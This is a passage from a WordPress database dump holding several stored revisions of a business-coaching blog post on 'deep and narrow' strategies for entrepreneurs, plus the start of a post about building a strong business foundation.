advancement.</em>\r\n\r\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\r\n\r\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.\r\n\r\nI’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\r\n<h3><strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”</strong></h3>\r\n<span style="color: #808080;"><em>If you found this post helpful, please subscribe to the White Hot Center.</em></span>', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-revision-10', '', '', '2013-08-16 14:22:38', '2013-08-16 21:22:38', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-revision-10/', 0, 'revision', '', 0),
(2482, 2, '2012-08-12 07:34:11', '2012-08-12 14:34:11', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg"><img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" /></a>\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes.</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n<h2><strong>Go deep and narrow and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Go Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-18', '', '', '2012-08-12 07:34:11', '2012-08-12 14:34:11', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-18/', 0, 'revision', '', 0),
(2483, 2, '2013-08-20 11:52:27', '2013-08-20 18:52:27', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg"><img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" /></a>\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs and solo professionals to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur or a solo professional at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. At this point in your entrepreneurial journey, you are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce. Your love for what  you are doing is essential for your motivation, but by itself, loving what you do won''t create a customer\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis.  If you want to build a sustainable and profitable business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs and solo professionals, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing your business in ways that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Strategy One–As you think, so it becomes.</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way. Your philosophy is the beginning of everything and determines the outcome of everything!\r\n\r\n<strong><em>Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em> Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em> Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n<h2><strong>Go deep and narrow into these strategies and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n<em> If you want to go deeper with these ideas, the WHC is planning a Quantum Leap Business Transformation Workshop in November 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a></em>\r\n\r\n</div>', 'Go Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-19', '', '', '2013-08-20 11:52:27', '2013-08-20 18:52:27', '', 2136, 'http://www.whitehotcenter.com/2013/08/2136-revision-19/', 0, 'revision', '', 0);
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(2484, 2, '2013-08-20 12:02:29', '2013-08-20 19:02:29', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg"><img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" /></a>\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs and solo professionals to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur or a solo professional at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. At this point in your entrepreneurial journey, you are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce. Your love for what you are doing is essential for your motivation, but by itself, loving what you do won''t create a customer.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about getting your business to the next level, I’m sure these questions swirl around inside your head on a daily basis.  If you want to build a sustainable and profitable business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs and solo professionals, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing your business in ways that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Strategy One–As you think, so it becomes.</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way. Your philosophy is the beginning of everything and determines the outcome of everything!\r\n\r\n<strong><em>Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em> Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em> Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first. If you want more clients, be more to the clients you currently work for.\r\n<h2><strong>Go deep and narrow into these strategies and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n<em> </em>\r\n\r\n<em>If you want to go deeper with these ideas, the WHC is planning a Quantum Leap Business Transformation Workshop in November 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a></em>\r\n\r\n</div>', 'How to gain radical competitive advantage in a crowded marketplace.', 0, '', 'inherit', 'open', 'open', '', '2136-revision-20', '', '', '2013-08-20 12:02:29', '2013-08-20 19:02:29', '', 2136, 'http://www.whitehotcenter.com/2013/08/2136-revision-20/', 0, 'revision', '', 0),
(2485, 2, '2013-08-20 12:03:51', '2013-08-20 19:03:51', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg"><img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" /></a>\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs and solo professionals to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur or a solo professional at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. At this point in your entrepreneurial journey, you are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce. Your love for what you are doing is essential for your motivation, but by itself, loving what you do won''t create a customer.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about getting your business to the next level, I’m sure these questions swirl around inside your head on a daily basis.  If you want to build a sustainable and profitable business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs and solo professionals, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing your business in ways that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Strategy One–As you think, so it becomes.</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way. Your philosophy is the beginning of everything and determines the outcome of everything!\r\n\r\n<strong><em>Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em> Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.<strong><em></em></strong>\r\n\r\n<strong><em>Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first. If you want more clients, be more to the clients you currently work for.\r\n<h2><strong>Go deep and narrow into these strategies and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n<em> </em>\r\n\r\n<em>If you want to go deeper with these ideas, the WHC is planning a Quantum Leap Business Transformation Workshop in November 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a></em>\r\n\r\n</div>', 'How to gain radical competitive advantage in a crowded marketplace.', 0, '', 'inherit', 'open', 'open', '', '2136-revision-21', '', '', '2013-08-20 12:03:51', '2013-08-20 19:03:51', '', 2136, 'http://www.whitehotcenter.com/2013/08/2136-revision-21/', 0, 'revision', '', 0),
(2487, 2, '2013-08-20 18:06:38', '2013-08-21 01:06:38', '', 'mason-foundation', 0, '', 'inherit', 'open', 'open', '', 'mason-foundation', '', '', '2013-08-20 18:06:38', '2013-08-21 01:06:38', '', 2486, 'http://www.whitehotcenter.com/wp-content/uploads/2013/08/mason-foundation.jpg', 0, 'attachment', 'image/jpeg', 0),
(2488, 2, '2013-08-20 18:11:21', '2013-08-21 01:11:21', '<h1><img class="alignnone size-full wp-image-2487" title="mason-foundation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/mason-foundation.jpg" alt="" width="495" height="389" />\nAsk any architect and they will tell you the most important aspect of design is not the structure but the foundation. If you’re going to design and build a business that endures, you’ll have to build it on a solid foundation.</h1>\nFoundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the building, but essential to withstand the constant movement of the earth and the erosion of the soil around it. Like any great structure, nothing is more fundamental to the enduring success of your business vision than a strong foundation on which your bigger future will rest upon. The foundation you create will determine the stability and sustainability of your enterprise.\n\nThe majority of my professional career has been helping business leaders, entrepreneurs and solo professionals build enduring foundations underneath their big ideas. I have always considered it sacred work. Strong foundations are the beginning of your success. If you don’t have one firmly in place, it’ll be next to impossible for your big idea to withstand the winds of eroding criticism, competition and the unpredictable forces of marketplace change.\n\nWhen creative entrepreneurs are visioning their future, the first actions they will undertake is finding the right soil for building their dream on. Excellent builders (and dreamers) start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\n<h2><strong>Building a strong foundation for your vision, big idea and business is the most important attribute in creating value for others.</strong></h2>\nHere’s what you need to consider before you break ground on your next big idea:\n\n<strong>Build your foundation on good ground. </strong>\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs have failed to heed.  In the rush to get somewhere, some like to take shortcuts. Your philosophy of life is your “good ground”. The good ground of your philosophy will include your purpose, your true north, your values, knowledge, character and integrity. Does your philosophy support the successful design of your future?  Is your philosophy solid as bedrock or liquid as sand?\n\n<strong>Your foundation must fit naturally into the landscape that surrounds it.</strong>\nIn architecture it’s called site planning. In business it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to your talent, skills, capabilities and knowledge and how that will fit into the marketplace are critical in defining your unique value to customers. You must know the lay of the land, your customer’s / client’s desires, hopes, aspirations and needs. Where do you fit? Who do you serve?\n\n<strong>Strong foundations go deep into the ground.</strong>\nIf you have an Empire State Building size idea or vision, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on deep and narrow expertise. What is the “one thing” that makes your business highly valued and distinctive among all other choices? Develop deep knowledge in the one thing you love and serves the good of others … don’t generalize–specialize! Big ideas require deep foundations!\n\n<strong>Strong foundations are well designed and engineered.</strong>\nHow your products, services and customer experiences are designed is a critical element in the foundation of your business. How you create and deliver value requires elegant engineering and good design…everything in the experience of doing business with you must be well thought out and properly executed. This is foundational to the make-up of extraordinary companies and brands. Design matters and determines competitive 